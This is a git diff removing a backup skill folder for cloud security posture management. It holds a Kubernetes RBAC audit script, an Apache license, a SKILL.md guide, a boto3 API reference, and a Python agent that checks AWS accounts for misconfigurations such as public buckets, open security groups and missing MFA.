issue: str - details: str - remediation: str - - -@dataclass -class RBACAuditReport: - findings: list = field(default_factory=list) - cluster_roles: int = 0 - roles: int = 0 - cluster_role_bindings: int = 0 - role_bindings: int = 0 - service_accounts: int = 0 - - -def run_kubectl_json(args: list): - cmd = ["kubectl"] + args + ["-o", "json"] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) - if result.returncode != 0: - return None - return json.loads(result.stdout) - except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError): - return None - - -def check_role_rules(rules: list, role_name: str, role_type: str, namespace: str, report: RBACAuditReport): - """Analyze role rules for dangerous permissions.""" - for rule in rules: - verbs = set(rule.get("verbs", [])) - resources = set(rule.get("resources", [])) - api_groups = rule.get("apiGroups", []) - - for req_verbs, req_resources, severity, description in HIGH_RISK_COMBINATIONS: - verb_match = "*" in verbs or bool(verbs & req_verbs) - resource_match = "*" in resources or bool(resources & req_resources) - - if verb_match and resource_match: - report.findings.append(RBACFinding( - resource_type=role_type, - resource_name=role_name, - namespace=namespace, - severity=severity, - issue=description, - details=f"verbs={list(verbs)}, resources={list(resources)}, apiGroups={api_groups}", - remediation=f"Restrict {role_type} '{role_name}' to minimum required permissions" - )) - break - - -def audit_cluster_roles(report: RBACAuditReport): - """Audit all ClusterRoles.""" - print("[*] Auditing ClusterRoles...") - data = run_kubectl_json(["get", "clusterroles"]) - if not data: - return - - items = data.get("items", []) - report.cluster_roles = len(items) - - for cr in items: - name = cr["metadata"]["name"] - # Skip well-known system roles - if name.startswith("system:") and name not in ("system:aggregate-to-admin", "system:aggregate-to-edit"): - continue - - rules = cr.get("rules", []) - check_role_rules(rules, name, "ClusterRole", "cluster-wide", report) - - -def audit_roles(report: RBACAuditReport): - """Audit all namespace Roles.""" - print("[*] Auditing Roles...") - data = run_kubectl_json(["get", "roles", "-A"]) - if not data: - return - - items = data.get("items", []) - report.roles = len(items) - - for role in items: - name = role["metadata"]["name"] - namespace = role["metadata"]["namespace"] - rules = role.get("rules", []) - check_role_rules(rules, name, "Role", namespace, report) - - -def audit_bindings(report: RBACAuditReport): - """Audit ClusterRoleBindings for dangerous subject assignments.""" - print("[*] Auditing ClusterRoleBindings...") - - data = run_kubectl_json(["get", "clusterrolebindings"]) - if not data: - return - - items = data.get("items", []) - report.cluster_role_bindings = len(items) - - dangerous_subjects = {"system:anonymous", "system:unauthenticated"} - admin_roles = {"cluster-admin", "admin", "edit"} - - for crb in items: - name = crb["metadata"]["name"] - role_ref = crb.get("roleRef", {}).get("name", "") - subjects = crb.get("subjects", []) or [] - - for subject in subjects: - s_name = subject.get("name", "") - s_kind = subject.get("kind", "") - - if s_name in dangerous_subjects and role_ref in admin_roles: - report.findings.append(RBACFinding( - resource_type="ClusterRoleBinding", - resource_name=name, - namespace="cluster-wide", - severity="CRITICAL", - issue=f"Dangerous subject '{s_name}' bound to '{role_ref}'", - details=f"Subject {s_kind}/{s_name} has {role_ref} access", - remediation=f"Remove or restrict ClusterRoleBinding '{name}'" - )) - - # Check for system:authenticated bound to admin roles - if s_name == "system:authenticated" and role_ref in admin_roles: - report.findings.append(RBACFinding( - resource_type="ClusterRoleBinding", - resource_name=name, - namespace="cluster-wide", - severity="CRITICAL", - issue=f"All authenticated users have '{role_ref}' access", - details=f"Group system:authenticated bound to {role_ref}", - remediation=f"Remove binding, use specific user/group bindings" - )) - - -def audit_service_accounts(report: RBACAuditReport): - """Audit service accounts for over-permissioning.""" - print("[*] Auditing Service Accounts...") - - data = run_kubectl_json(["get", "serviceaccounts", "-A"]) - if not data: - return - - items = data.get("items", []) - report.service_accounts = len(items) - - # Check default SAs that have non-default bindings - crbs = run_kubectl_json(["get", "clusterrolebindings"]) - rbs = run_kubectl_json(["get", "rolebindings", "-A"]) - - if crbs: - for crb in crbs.get("items", []): - for subject in crb.get("subjects", []) or []: - if subject.get("kind") == "ServiceAccount" and subject.get("name") == "default": - report.findings.append(RBACFinding( - resource_type="ServiceAccount", - resource_name=f"default ({subject.get('namespace', 'unknown')})", - namespace=subject.get("namespace", "unknown"), - severity="HIGH", - issue=f"Default SA bound to ClusterRole '{crb['roleRef']['name']}'", - details="Default service account should not have additional permissions", - remediation="Create dedicated service account, remove default SA binding" - )) - - -def print_report(report: RBACAuditReport): - print("\n" + "=" * 70) - print("KUBERNETES RBAC AUDIT REPORT") - print("=" * 70) - print(f"ClusterRoles: {report.cluster_roles}") - print(f"Roles: {report.roles}") - print(f"ClusterRoleBindings: {report.cluster_role_bindings}") - print(f"RoleBindings: {report.role_bindings}") - print(f"ServiceAccounts: {report.service_accounts}") - print(f"Total Findings: {len(report.findings)}") - print("=" * 70) - - for severity in ["CRITICAL", "HIGH", "MEDIUM", "LOW"]: - findings = [f for f in report.findings if f.severity == severity] - if findings: - print(f"\n{severity} ({len(findings)}):") - print("-" * 70) - for f in findings: - print(f" [{f.resource_type}] {f.resource_name}") - print(f" Issue: {f.issue}") - print(f" Details: {f.details}") - print(f" Fix: {f.remediation}") - print() - - -def main(): - print("[*] Kubernetes RBAC Permissions Auditor\n") - - report = RBACAuditReport() - audit_cluster_roles(report) - audit_roles(report) - audit_bindings(report) - audit_service_accounts(report) - print_report(report) - - output = { - "summary": { - "cluster_roles": report.cluster_roles, - "roles": report.roles, - "findings": len(report.findings), - }, - "findings": [ - {"type": f.resource_type, "name": f.resource_name, "namespace": f.namespace, - "severity": f.severity, "issue": f.issue, "remediation": f.remediation} - for f in report.findings - ], - } - - with open("rbac_audit_report.json", "w") as f: - json.dump(output, f, indent=2) - print("[*] Report saved to rbac_audit_report.json") - - critical = sum(1 for f in report.findings if f.severity == "CRITICAL") - if critical > 0: - print(f"\n[!] {critical} CRITICAL findings found") - sys.exit(1) - - -if __name__ == "__main__": - main() diff --git a/skills/building-cloud-security-posture-management.bak/LICENSE b/skills/building-cloud-security-posture-management.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/building-cloud-security-posture-management.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/building-cloud-security-posture-management.bak/SKILL.md b/skills/building-cloud-security-posture-management.bak/SKILL.md deleted file mode 100644 index 59645cec..00000000 --- a/skills/building-cloud-security-posture-management.bak/SKILL.md +++ /dev/null @@ -1,258 +0,0 @@ ---- -name: building-cloud-security-posture-management -description: > - This skill guides security architects through designing and implementing a cloud - security posture management program that continuously monitors infrastructure - configurations across AWS, Azure, and GCP. It covers selecting CSPM tooling such - as Wiz, Prisma Cloud, or native services, defining policy baselines, automating - drift detection, and integrating posture findings into SOC workflows. -domain: cybersecurity -subdomain: cloud-security -tags: [cspm, cloud-misconfiguration, security-posture, drift-detection, multi-cloud-governance] -version: 1.0.0 -author: mahipal -license: Apache-2.0 ---- - -# Building Cloud Security Posture Management - -## When to Use - -- When an organization lacks visibility into cloud misconfigurations across multiple accounts and providers -- When compliance requirements demand continuous posture monitoring against CIS, NIST, or SOC 2 frameworks -- When security teams need to prioritize which misconfigurations to remediate based on actual risk -- When migrating workloads to the cloud and establishing security baselines before production deployment -- When integrating cloud posture findings into an existing SOC or SIEM platform - -**Do not use** for runtime threat detection (see detecting-cloud-threats-with-guardduty), for application-level vulnerability scanning (see securing-serverless-functions), or for network traffic analysis (see implementing-cloud-network-segmentation). - -## Prerequisites - -- Cloud accounts across target providers (AWS, Azure, GCP) with read-only API access for CSPM tools -- Defined compliance framework requirements (CIS Benchmarks, NIST 800-53, PCI-DSS, SOC 2) -- SIEM or ticketing system for finding ingestion and workflow management -- Budget allocation for commercial CSPM tooling or engineering capacity for native tool integration - -## Workflow - -### Step 1: Assess Current Cloud Estate and Risk Appetite - -Inventory all cloud accounts, subscriptions, and projects. Classify them by data sensitivity, regulatory requirements, and business criticality to determine CSPM coverage scope. - -``` -Cloud Estate Inventory: -+----------------+----------+------------+--------------------+------------------+ -| Provider | Accounts | Workloads | Data Classification| Compliance Needs | -+----------------+----------+------------+--------------------+------------------+ -| AWS | 45 | Production | Confidential | PCI-DSS, SOC 2 | -| AWS | 12 | Dev/Test | Internal | SOC 2 | -| Azure | 8 | Production | Restricted (PII) | GDPR, SOC 2 | -| GCP | 3 | Analytics | Confidential | SOC 2 | -+----------------+----------+------------+--------------------+------------------+ -``` - -### Step 2: Select and Deploy CSPM Tooling - -Evaluate CSPM solutions based on multi-cloud support, policy coverage, agentless scanning, attack path analysis, and integration capabilities. - -**Native Tools:** -- AWS Security Hub CSPM with Config rules -- Microsoft Defender for Cloud CSPM -- Google Security Command Center Premium - -**Commercial Platforms:** -- Wiz: Agentless, graph-based visibility, attack path analysis, highest market mindshare (20.2%) -- Prisma Cloud (now Cortex Cloud): CSPM + CWP + CIEM, 3,000+ built-in policies -- Orca Security: SideScanning technology, agentless full-stack visibility -- Lacework: Anomaly-based detection with behavioral analysis - -```bash -# Example: Deploy Wiz connector for AWS using CloudFormation -aws cloudformation create-stack \ - --stack-name wiz-connector \ - --template-url https://wiz-advanced-security.s3.amazonaws.com/wiz-aws-connector.yaml \ - --parameters ParameterKey=ExternalId,ParameterValue= \ - --capabilities CAPABILITY_NAMED_IAM - -# Example: Configure Prisma Cloud AWS onboarding -# Prisma Cloud uses a cross-account IAM role for read-only access -aws iam create-role \ - --role-name PrismaCloudReadOnly \ - --assume-role-policy-document '{ - "Version": "2012-10-17", - "Statement": [{ - "Effect": "Allow", - "Principal": {"AWS": "arn:aws:iam::188619942792:root"}, - "Action": "sts:AssumeRole", - "Condition": {"StringEquals": {"sts:ExternalId": ""}} - }] - }' -``` - -### Step 3: Define Policy Baselines and Custom Rules - -Map compliance framework controls to CSPM policies. Create custom rules for organization-specific requirements that go beyond standard benchmarks. - -```yaml -# Example custom CSPM policy definitions -policies: - - name: s3-bucket-encryption-required - description: All S3 buckets must have AES-256 or KMS encryption enabled - provider: aws - resource_type: aws_s3_bucket - severity: HIGH - rule: | - resource.encryption.rules[0].apply_server_side_encryption_by_default.sse_algorithm - in ["aws:kms", "AES256"] - remediation: Enable default encryption on the S3 bucket using AES-256 or AWS KMS - compliance_mapping: - - CIS_AWS_v5.0: "2.1.1" - - PCI_DSS: "3.4" - - SOC2: "CC6.1" - - - name: public-ip-not-attached-to-compute - description: Production compute instances must not have public IP addresses - provider: aws - resource_type: aws_ec2_instance - severity: CRITICAL - rule: | - resource.public_ip_address == null AND - resource.tags["Environment"] == "production" - remediation: Remove public IP and route traffic through a load balancer or NAT gateway - - - name: storage-account-private-endpoint - description: Azure storage accounts must use private endpoints only - provider: azure - resource_type: azurerm_storage_account - severity: HIGH - rule: | - resource.network_rules.default_action == "Deny" AND - resource.private_endpoint_connections.length > 0 -``` - -### Step 4: Automate Drift Detection and Alerting - -Configure continuous scanning intervals, drift detection thresholds, and alert routing to ensure new misconfigurations are detected within minutes of resource creation or modification. - -```bash -# AWS Config rule for drift detection on S3 public access -aws configservice put-config-rule \ - --config-rule '{ - "ConfigRuleName": "s3-bucket-public-read-prohibited", - "Source": { - "Owner": "AWS", - "SourceIdentifier": "S3_BUCKET_PUBLIC_READ_PROHIBITED" - }, - "Scope": {"ComplianceResourceTypes": ["AWS::S3::Bucket"]} - }' - -# Auto-remediation using SSM Automation -aws configservice put-remediation-configurations \ - --remediation-configurations '[{ - "ConfigRuleName": "s3-bucket-public-read-prohibited", - "TargetType": "SSM_DOCUMENT", - "TargetId": "AWS-DisableS3BucketPublicReadWrite", - "Automatic": true, - "MaximumAutomaticAttempts": 3, - "RetryAttemptSeconds": 60 - }]' -``` - -### Step 5: Prioritize Findings with Context-Aware Risk Scoring - -Move beyond severity-only prioritization. Use attack path analysis, asset context, and exploitability data to focus remediation on findings that represent actual risk. - -``` -Risk Prioritization Matrix: -+----------------------------+----------+-----------+--------+-------------+ -| Finding | Severity | Exposed | Attack | Priority | -| | | Internet? | Path? | Score | -+----------------------------+----------+-----------+--------+-------------+ -| S3 bucket public read | HIGH | Yes | Yes | CRITICAL | -| RDS no encryption at rest | HIGH | No | No | MEDIUM | -| SG allows 0.0.0.0/0:22 | HIGH | Yes | Yes | CRITICAL | -| CloudTrail not enabled | MEDIUM | No | No | HIGH | -| EBS volume not encrypted | MEDIUM | No | No | LOW | -+----------------------------+----------+-----------+--------+-------------+ -``` - -### Step 6: Integrate with SOC Workflows and Reporting - -Feed CSPM findings into SIEM platforms, create Jira tickets for remediation tracking, and build executive dashboards for posture trending. - -```bash -# Export findings to Amazon Security Lake in OCSF format -aws securitylake create-subscriber \ - --subscriber-name cspm-siem-integration \ - --sources '[{"awsLogSource": {"sourceName": "SH_FINDINGS"}}]' \ - --subscriber-identity '{"principal": "arn:aws:iam::123456789012:role/SIEMIngestionRole", "externalId": "siem-ext-id"}' -``` - -## Key Concepts - -| Term | Definition | -|------|------------| -| CSPM | Cloud Security Posture Management: continuous monitoring service that identifies cloud infrastructure misconfigurations and compliance violations | -| Configuration Drift | Deviation from a defined security baseline that occurs when resources are modified outside of approved change management processes | -| Attack Path | A multi-step chain of misconfigurations and vulnerabilities that an adversary could exploit to move from an entry point to a critical asset | -| Agentless Scanning | CSPM approach that uses cloud provider APIs and snapshot analysis to assess security posture without installing agents on workloads | -| Policy as Code | Defining security policies in machine-readable formats (Rego, YAML, JSON) that can be version-controlled and automatically enforced | -| Compliance Framework | Structured set of security controls and requirements such as CIS Benchmarks, NIST 800-53, PCI-DSS, or SOC 2 used to measure posture | -| Security Graph | Graph database representing relationships between cloud resources, identities, network paths, and vulnerabilities for contextual risk analysis | - -## Tools & Systems - -- **Wiz**: Agentless CNAPP providing graph-based CSPM, attack path analysis, and vulnerability management across all major cloud providers -- **Prisma Cloud / Cortex Cloud**: Palo Alto Networks CNAPP with 3,000+ built-in policies covering CSPM, CWP, CIEM, and IaC security -- **AWS Security Hub CSPM**: Native AWS posture management with automated checks against CIS v5.0 and AWS Foundational Security Best Practices -- **Prowler**: Open-source AWS/Azure/GCP security assessment tool with 300+ checks and CIS benchmark support -- **Steampipe**: Open-source SQL-based cloud configuration querying tool supporting 140+ plugins for multi-cloud posture queries - -## Common Scenarios - -### Scenario: Post-Acquisition Cloud Posture Assessment - -**Context**: A company acquires a startup with 30 AWS accounts and 5 GCP projects. No CSPM tooling is in place and the security team needs to assess the inherited environment within two weeks. - -**Approach**: -1. Deploy an agentless CSPM tool (Wiz or Orca) using read-only cross-account roles for immediate visibility without agent installation -2. Run initial scans against CIS Benchmarks for both AWS and GCP to establish a baseline posture score -3. Identify Critical findings: publicly exposed databases, unencrypted storage with sensitive data, overprivileged service accounts -4. Prioritize attack paths that connect internet-exposed resources to data stores containing customer PII -5. Deliver an executive summary with risk-ranked findings and a 90-day remediation roadmap -6. Integrate the acquired accounts into the existing CSPM platform with continuous monitoring - -**Pitfalls**: Deploying agents for the initial assessment adds weeks of delay. Using only native tools for a multi-cloud assessment creates separate dashboards and makes cross-cloud comparison difficult. - -## Output Format - -``` -Cloud Security Posture Assessment Report -========================================== -Organization: Acme Corp -Cloud Providers: AWS (57 accounts), Azure (8 subscriptions), GCP (3 projects) -CSPM Platform: Wiz -Assessment Date: 2025-02-23 - -OVERALL POSTURE SCORE: 68/100 - -FINDINGS BY SEVERITY: - Critical: 47 (Internet-exposed + data access risk) - High: 234 (Misconfiguration with limited exposure) - Medium: 891 (Non-compliant but low immediate risk) - Low: 1,567 (Informational or best practice) - -TOP ATTACK PATHS: - 1. Internet -> Public S3 Bucket (PII data) -> No encryption - Affected: 3 accounts | Risk: Critical | ETA to remediate: 1 day - 2. Internet -> EC2 (SSH open) -> IAM Role -> Cross-Account Admin - Affected: 1 account | Risk: Critical | ETA to remediate: 2 days - 3. Internet -> Azure App Service -> SQL Server (public endpoint) - Affected: 2 subscriptions | Risk: Critical | ETA to remediate: 3 days - -COMPLIANCE STATUS: - CIS AWS v5.0: 62% compliant (340/548 controls passing) - CIS Azure v4.0: 71% compliant (189/266 controls passing) - CIS GCP v4.0: 58% compliant (87/150 controls passing) - SOC 2 Type II: 74% controls mapped and passing -``` diff --git a/skills/building-cloud-security-posture-management.bak/references/api-reference.md b/skills/building-cloud-security-posture-management.bak/references/api-reference.md deleted file mode 100644 index a464bfa2..00000000 --- a/skills/building-cloud-security-posture-management.bak/references/api-reference.md +++ /dev/null @@ -1,74 +0,0 @@ -# API Reference: Building Cloud Security Posture Management - -## boto3 - AWS CSPM Checks - -### S3 Public Access - -```python -s3 = boto3.client("s3") -pab = s3.get_public_access_block(Bucket="my-bucket") -config = pab["PublicAccessBlockConfiguration"] -``` - -### Unencrypted EBS Volumes - -```python -ec2 = boto3.client("ec2") -for vol in ec2.describe_volumes()["Volumes"]: - if not vol["Encrypted"]: - print(f"Unencrypted: {vol['VolumeId']}") -``` - -### Open Security Groups - -```python -for sg in ec2.describe_security_groups()["SecurityGroups"]: - for rule in sg["IpPermissions"]: - for ip in rule.get("IpRanges", []): - if ip["CidrIp"] == "0.0.0.0/0": - print(f"OPEN: {sg['GroupId']} port {rule['FromPort']}") -``` - -### IAM Users Without MFA - -```python -iam = boto3.client("iam") -for user in iam.list_users()["Users"]: - mfa = iam.list_mfa_devices(UserName=user["UserName"])["MFADevices"] - if not mfa: - print(f"No MFA: {user['UserName']}") -``` - -### Public RDS Instances - -```python -rds = boto3.client("rds") -for db in rds.describe_db_instances()["DBInstances"]: - if db["PubliclyAccessible"]: - print(f"Public RDS: {db['DBInstanceIdentifier']}") -``` - -## Key CSPM Checks - -| Check | Service | boto3 Method | -|-------|---------|-------------| -| Public S3 | S3 | `get_public_access_block()` | -| Unencrypted EBS | EC2 | `describe_volumes()` | -| Open SGs | EC2 | `describe_security_groups()` | -| No MFA | IAM | `list_mfa_devices()` | -| Public RDS | RDS | `describe_db_instances()` | -| CloudTrail | CloudTrail | `describe_trails()` | - -## Steampipe (SQL-Based CSPM) - -```sql -select name, region, server_side_encryption_configuration -from aws_s3_bucket -where server_side_encryption_configuration is null; -``` - -### References - -- boto3: https://boto3.amazonaws.com/v1/documentation/api/latest/ -- Prowler: https://github.com/prowler-cloud/prowler -- Steampipe: https://steampipe.io/ diff --git a/skills/building-cloud-security-posture-management.bak/scripts/agent.py b/skills/building-cloud-security-posture-management.bak/scripts/agent.py deleted file mode 100644 index a6913ddb..00000000 --- a/skills/building-cloud-security-posture-management.bak/scripts/agent.py +++ /dev/null @@ -1,158 +0,0 @@ -#!/usr/bin/env python3 -"""Agent for building cloud security posture management across AWS/Azure/GCP.""" - -import os -import json -import argparse -from datetime import datetime - -import boto3 -from botocore.exceptions import ClientError - - -def check_s3_public_buckets(session): - """Check for publicly accessible S3 buckets.""" - s3 = session.client("s3") - buckets = s3.list_buckets()["Buckets"] - findings = [] - for b in buckets: - name = b["Name"] - try: - pab = s3.get_public_access_block(Bucket=name) - config = pab["PublicAccessBlockConfiguration"] - if not all([config.get("BlockPublicAcls"), config.get("IgnorePublicAcls"), - config.get("BlockPublicPolicy"), config.get("RestrictPublicBuckets")]): - findings.append({"bucket": name, "issue": "Incomplete public access block", "severity": "HIGH"}) - except ClientError: - findings.append({"bucket": name, "issue": "No public access block configured", "severity": "HIGH"}) - return findings - - -def check_unencrypted_ebs(session): - """Check for unencrypted EBS volumes.""" - ec2 = session.client("ec2") - volumes = ec2.describe_volumes()["Volumes"] - unencrypted = [ - {"volume_id": v["VolumeId"], "state": v["State"], "size_gb": v["Size"]} - for v in volumes if not v.get("Encrypted") - ] - return unencrypted - - -def check_public_security_groups(session): - """Check for security groups allowing unrestricted inbound access.""" - ec2 = session.client("ec2") - sgs = ec2.describe_security_groups()["SecurityGroups"] - findings = [] - dangerous_ports = [22, 3389, 3306, 5432, 1433, 27017] - for sg in sgs: - for rule in sg.get("IpPermissions", []): - for ip_range in rule.get("IpRanges", []): - if ip_range.get("CidrIp") == "0.0.0.0/0": - from_port = rule.get("FromPort", 0) - to_port = rule.get("ToPort", 65535) - severity = "CRITICAL" if any(from_port <= p <= to_port for p in dangerous_ports) else "HIGH" - findings.append({ - "sg_id": sg["GroupId"], - "sg_name": sg.get("GroupName"), - "port_range": f"{from_port}-{to_port}", - "source": "0.0.0.0/0", - "severity": severity, - }) - return findings - - -def check_iam_users_without_mfa(session): - """Check for IAM users without MFA enabled.""" - iam = session.client("iam") - users = iam.list_users()["Users"] - no_mfa = [] - for user in users: - mfa_devices = iam.list_mfa_devices(UserName=user["UserName"])["MFADevices"] - if not mfa_devices: - no_mfa.append({"username": user["UserName"], "created": str(user["CreateDate"])}) - return no_mfa - - -def check_rds_public_access(session): - """Check for RDS instances with public accessibility.""" - rds = session.client("rds") - instances = rds.describe_db_instances()["DBInstances"] - public = [ - {"instance": db["DBInstanceIdentifier"], "engine": db["Engine"], "endpoint": db.get("Endpoint", {}).get("Address", "")} - for db in instances if db.get("PubliclyAccessible") - ] - return public - - -def check_cloudtrail_enabled(session): - """Check if CloudTrail is enabled with multi-region logging.""" - ct = session.client("cloudtrail") - trails = ct.describe_trails()["trailList"] - multiregion = [t for t in trails if t.get("IsMultiRegionTrail")] - if not multiregion: - return {"status": "FAIL", "detail": "No multi-region CloudTrail found"} - return {"status": "PASS", "trails": len(multiregion)} - - -def calculate_posture_score(findings_summary): - """Calculate an overall security posture score.""" - total_checks = sum(findings_summary.values()) - if total_checks == 0: - return 100 - critical = findings_summary.get("critical", 0) - high = findings_summary.get("high", 0) - medium = findings_summary.get("medium", 0) - deductions = (critical * 15) + (high * 8) + (medium * 3) - return max(0, 100 - deductions) - - -def main(): - parser = argparse.ArgumentParser(description="Cloud Security Posture Management Agent") - parser.add_argument("--profile", default=os.getenv("AWS_PROFILE")) - parser.add_argument("--region", default=os.getenv("AWS_DEFAULT_REGION", "us-east-1")) - parser.add_argument("--output", default="cspm_report.json") - args = parser.parse_args() - - session = boto3.Session(profile_name=args.profile, region_name=args.region) - account = session.client("sts").get_caller_identity()["Account"] - print(f"[+] CSPM scan for account {account}") - - report = {"account": account, "scan_date": datetime.utcnow().isoformat(), "findings": {}} - - print("[+] Checking S3 bucket public access...") - report["findings"]["s3_public"] = check_s3_public_buckets(session) - print(f" Issues: {len(report['findings']['s3_public'])}") - - print("[+] Checking unencrypted EBS volumes...") - report["findings"]["unencrypted_ebs"] = check_unencrypted_ebs(session) - print(f" Unencrypted: {len(report['findings']['unencrypted_ebs'])}") - - print("[+] Checking public security groups...") - report["findings"]["public_sgs"] = check_public_security_groups(session) - print(f" Open rules: {len(report['findings']['public_sgs'])}") - - print("[+] Checking IAM users without MFA...") - report["findings"]["no_mfa_users"] = check_iam_users_without_mfa(session) - print(f" Without MFA: {len(report['findings']['no_mfa_users'])}") - - print("[+] Checking public RDS instances...") - report["findings"]["public_rds"] = check_rds_public_access(session) - print(f" Public: {len(report['findings']['public_rds'])}") - - print("[+] Checking CloudTrail...") - report["findings"]["cloudtrail"] = check_cloudtrail_enabled(session) - - critical = sum(1 for f in report["findings"].get("public_sgs", []) if f.get("severity") == "CRITICAL") - high = len(report["findings"]["s3_public"]) + len(report["findings"]["no_mfa_users"]) - medium = len(report["findings"]["unencrypted_ebs"]) - report["posture_score"] = calculate_posture_score({"critical": critical, "high": high, "medium": medium}) - print(f"\n[+] Posture 